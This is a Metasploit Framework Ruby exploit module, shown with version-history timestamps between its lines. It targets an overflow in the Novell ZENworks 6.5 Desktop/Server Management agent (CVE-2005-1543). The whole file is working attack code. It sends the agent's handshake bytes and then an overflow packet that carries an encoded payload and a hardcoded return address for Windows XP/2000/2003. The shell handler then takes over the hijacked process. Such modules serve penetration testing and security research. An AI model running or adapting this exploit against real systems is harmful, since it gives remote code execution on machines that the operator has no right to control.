2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2005-11-27 07:26:58 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GoodRanking
|
2005-11-27 07:26:58 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2005-11-27 07:26:58 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2006-09-13 06:30:54 +00:00
|
|
|
'Name' => 'Novell ZENworks 6.5 Desktop/Server Management Overflow',
|
2005-11-27 07:26:58 +00:00
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module exploits a heap overflow in the Novell ZENworks
|
2005-11-27 07:26:58 +00:00
|
|
|
Desktop Management agent. This vulnerability was discovered
|
|
|
|
by Alex Wheeler.
|
|
|
|
},
|
2012-05-26 20:23:09 +00:00
|
|
|
'Author' => [ 'Unknown' ],
|
2006-05-06 16:34:39 +00:00
|
|
|
'License' => BSD_LICENSE,
|
2005-11-27 07:26:58 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2005-1543'],
|
2009-07-16 16:02:24 +00:00
|
|
|
[ 'OSVDB', '16698'],
|
2005-11-27 07:26:58 +00:00
|
|
|
[ 'BID', '13678'],
|
|
|
|
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 32767,
|
|
|
|
'BadChars' => "\x00",
|
2006-07-31 02:01:14 +00:00
|
|
|
'StackAdjustment' => -3500,
|
2005-11-27 07:26:58 +00:00
|
|
|
},
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2005-11-27 07:26:58 +00:00
|
|
|
[
|
|
|
|
[
|
|
|
|
'Windows XP/2000/2003- ZENworks 6.5 Desktop/Server Agent',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Ret' => 0x10002e06,
|
|
|
|
},
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'May 19 2005',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-27 07:26:58 +00:00
|
|
|
hello = "\x00\x06\x05\x01\x10\xe6\x01\x00\x34\x5a\xf4\x77\x80\x95\xf8\x77"
|
|
|
|
print_status("Sending version identification")
|
|
|
|
sock.put(hello)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-05-15 12:51:30 +00:00
|
|
|
pad = Rex::Text.rand_text_alphanumeric(6, payload_badchars)
|
2005-11-27 07:26:58 +00:00
|
|
|
ident = sock.get_once
|
2009-10-25 17:18:23 +00:00
|
|
|
if !(ident and ident.length == 16)
|
2010-07-25 21:37:54 +00:00
|
|
|
print_error("Failed to receive agent version identification")
|
2005-11-27 07:26:58 +00:00
|
|
|
return
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-27 07:26:58 +00:00
|
|
|
print_status("Received agent version identification")
|
|
|
|
print_status("Sending client acknowledgement")
|
|
|
|
sock.put("\x00\x01")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2010-06-21 05:59:53 +00:00
|
|
|
# Stack buffer overflow in ZenRem32.exe / ZENworks Server Management
|
2006-09-13 06:30:54 +00:00
|
|
|
sock.put("\x00\x06#{pad}\x00\x06#{pad}\x7f\xff" + payload.encoded + "\x00\x01")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-27 07:26:58 +00:00
|
|
|
ack = sock.get_once
|
|
|
|
sock.put("\x00\x01")
|
|
|
|
sock.put("\x00\x02")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-27 07:26:58 +00:00
|
|
|
print_status("Sending final payload")
|
|
|
|
sock.put("\x00\x24" + ("A" * 0x20) + [ target.ret ].pack('V'))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-27 07:26:58 +00:00
|
|
|
print_status("Overflow request sent, sleeping for four seconds")
|
2010-06-22 19:11:05 +00:00
|
|
|
select(nil,nil,nil,4)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-27 07:26:58 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-07-16 16:02:24 +00:00
|
|
|
end
|